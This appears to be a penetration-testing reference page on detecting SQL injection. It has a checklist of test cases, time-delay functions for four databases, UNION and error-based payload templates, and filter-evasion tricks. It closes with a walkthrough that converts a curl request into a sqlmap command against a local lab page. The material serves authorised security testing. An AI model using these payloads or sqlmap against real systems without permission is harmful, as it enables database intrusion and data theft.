# Detection

Mostly SQL injection vulnerabilities can be found using modern scanners. However, for more complex scenarios such as second-order SQLi, manual testing can also be used.&#x20;

The goal with many of these tests is to invoke some behaviour change in the application. Be sure to closely monitor for:

* [ ] Content-Length header changes
* [ ] Error messages
* [ ] Changes in the data returned
* [ ] Delays
* [ ] Second-order (i.e. you inject somewhere, but another interaction is required to trigger the payload)

### Test cases:

* [ ] Test with single and double quotes
* [ ] Test with comments or terminators to mask the rest of the query
* [ ] Test with other special characters that can manipulate SQL statements
* [ ] Test with boolean conditions `and 1=1` and `and 1=2` (closely monitor the application response, in particular the Content-Length header)
* [ ] Test with functions that cause time delays
  * [ ] MySQL `sleep(5)`
  * [ ] PostgreSQL `pg_sleep(5)`
  * [ ] MS SQL Server `WAITFOR DELAY '0:0:05'`
  * [ ] Oracle `dbms_pipe.receive_message(('x'),5)`
* [ ] Test with out-of-band (OOB) or out-of-band application security testing (OAST) techniques
* [ ] Test for stacked queries
* [ ] Test for `UNION` keyword
  * [ ] `SELECT username,password FROM users UNION SELECT null,null`
  * [ ] Test for the number of columns using `null,null` or `ORDER BY 1` , `ORDER BY 2`
  * [ ] Test the data types with `'a',1` etc
* [ ] Test with different encoding techniques
* [ ] Test evasion techniques
  * [ ] Test with encoded payloads
  * [ ] Test with builting functions
    * [ ] E.g. `CHAR()`
  * [ ] Test ways to bypass commonly filtered characters
    * [ ] E.g. replacing space with `/**/`

### Detection syntax

#### General

```
{payload}--
{payload};--
{payload}#
'||{payload}--
'||{payload}#
"{payload}--
"{payload}#
' AND {payload}--
' OR {payload}--
' AND EXISTS({payload})--
' OR EXISTS({payload})--
```

#### MySQL

```
' UNION ALL SELECT {payload}--
' UNION SELECT {payload}--
' OR (SELECT {payload}) IS NOT NULL--
' OR (SELECT {payload}) IS NULL--
'||{payload}--
"||{payload}--
'||(SELECT {payload})--
"||(SELECT {payload})--
```

#### PostgeSQL

```
' UNION ALL SELECT {payload}--
' UNION SELECT {payload}--
' OR (SELECT {payload}) IS NOT NULL--
' OR (SELECT {payload}) IS NULL--
```

#### Oracle

```
' UNION ALL SELECT {payload} FROM dual--
' UNION SELECT {payload} FROM dual--
' OR (SELECT {payload} FROM dual) IS NOT NULL--
' OR (SELECT {payload} FROM dual) IS NULL--
'||({payload})--
'||{payload}||'--
"||{payload}||"--
'||(SELECT {payload} FROM dual)--
```

### MSSQL

```
' UNION ALL SELECT {payload}--
' UNION SELECT {payload}--
' OR (SELECT {payload}) IS NOT NULL--
' OR (SELECT {payload}) IS NULL--
'+{payload}+
"+{payload}+
'+'+(SELECT {payload})+
"+"+(SELECT {payload})+
```

### Other Payloads

```
OR {payload}=1
AND {payload}=1
AND IF({payload}, SLEEP(5), 1)
AND CASE WHEN {payload} THEN sleep(5) ELSE NULL END
AND {payload}
AND NOT {payload}
AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT('Error:',{payload},0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
```

### Tools:

#### SQLmap

The easiest way to get started with SQLmap is to either save a request to a file or copy a request as curl and change the curl command to sqlmap.

<figure><img src="https://86304134-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lI1MQhaUuVEjnryWVD9%2Fuploads%2FpPGpQqWvSFx8k9WKoBYk%2Fsqli-copy-curl.png?alt=media&#x26;token=d980ee31-b7b2-4b4f-8b52-60851170b5d3" alt=""><figcaption><p>Copying a request as cURL</p></figcaption></figure>

```
# Original curl request
curl 'http://localhost/labs/i0x01.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://localhost' -H 'Connection: keep-alive' -H 'Referer: http://localhost/labs/i0x01.php' -H 'Cookie: csrf0x02=jeremy' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' --data-raw 'username=jeremy'

# Update 'curl' to 'sqlmap' and optionally add sqlmap flags
sqlmap 'http://localhost/labs/i0x01.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://localhost' -H 'Connection: keep-alive' -H 'Referer: http://localhost/labs/i0x01.php' -H 'Cookie: csrf0x02=jeremy' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' --data-raw 'username=jeremy'
```
